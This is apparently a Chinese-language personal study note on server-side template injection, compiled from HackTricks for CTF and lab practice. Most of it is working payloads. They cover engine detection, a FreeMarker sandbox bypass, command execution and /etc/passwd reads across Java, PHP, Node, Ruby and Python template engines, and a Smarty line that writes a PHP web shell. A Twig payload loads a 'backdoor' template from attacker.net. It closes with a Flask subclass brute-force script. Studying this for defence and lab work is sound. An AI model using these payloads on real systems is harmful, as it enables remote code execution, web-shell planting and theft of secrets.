2023/08/10：ssti笔记

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

模板类型判断

可用判断语句${{<%[%'"}}%\

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

payload

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - Retrieve the system’s environment variables

1	`${T(java.lang.System).getenv()}`

Java - Retrieve /etc/passwd

1
2
3

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

判断类型：

{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}

payload:

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass（版本低于2.3.30）

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Jinjava (Java)

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Twig (PHP)

{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

Handlebars (NodeJS)

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

ERB (Ruby)

{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Tornado (Python)

{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777

Jinja2 (Python)

{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}

Jinja2 - Template format

{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

xss相关

Go语言允许定义一整个模板且之后使用，可能让payload变成这样：{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

RCE相关

在Go语言中可以以类似{{ .System "ls" }}使用命令
需要源代码类似：

func (p Person) Secret (test string) string {
	out, _ := exec.Command(test).CombinedOutput()
	return string(out)
}

ssti-lab(flask)构造payload相关

魔法方法

__class__
用来查看变量所属的类，根据前面的变量形式可以得到其所属的类。是类的一个内置属性，表示类的类型；也是类的实例的属性，表示实例对象的类。
例：[].__class__

__bases__
用来查看类的基类，也可以使用数组索引来查看特定位置的值。通过该属性可以查看该类的所有直接父类，该属性返回所有直接父类组成的元组。
例：[].__class__.__bases__

__mro__
获取基类，包含了当前类对象所有继承的基类
例：
''.__class__.__mro__
''.__class__.__mro__[-1]

__subclasses__()
获取当前类的所有子类，即Object的子类。通过拿到Object的子类，使用其中的一些函数，进行文件读取或者命令执行。
例：''.__class__.__mro__[-1].__subclasses__()

__init__
重载子类，获取子类初始化的属性

__globals__
函数会以字典的形式返回当前位置的全部全局变量
例：os._wrap_close.__init__.__globals__ 可以获取到os中的一些函数，进行文件读取。

lipsum
可以用于获得__builtins__，lipsum.__globals__有os模块
{{(lipsum|string|list)}}能获得字符位置

解题示例

一句话形式

{% for c in ''.__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}//依不同题目替换此行
{% endif %}{% endfor %}

脚本

import requests

url = "http://127.0.0.1:5000/level/1"

for i in range(300):
    data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'}
    try:
        response = requests.post(url,data=data)
        #print(data)
        #print(response.text)
        if response.status_code == 200:
            if "_wrap_close" in response.text:
                print(i,"----->",response.text)
                break
    except :
        pass

构造出来的payload示例：

1	`{{''.__class__.__base__.__subclasses__()[147].__init__.__globals__['popen']('type flag').read()}}`

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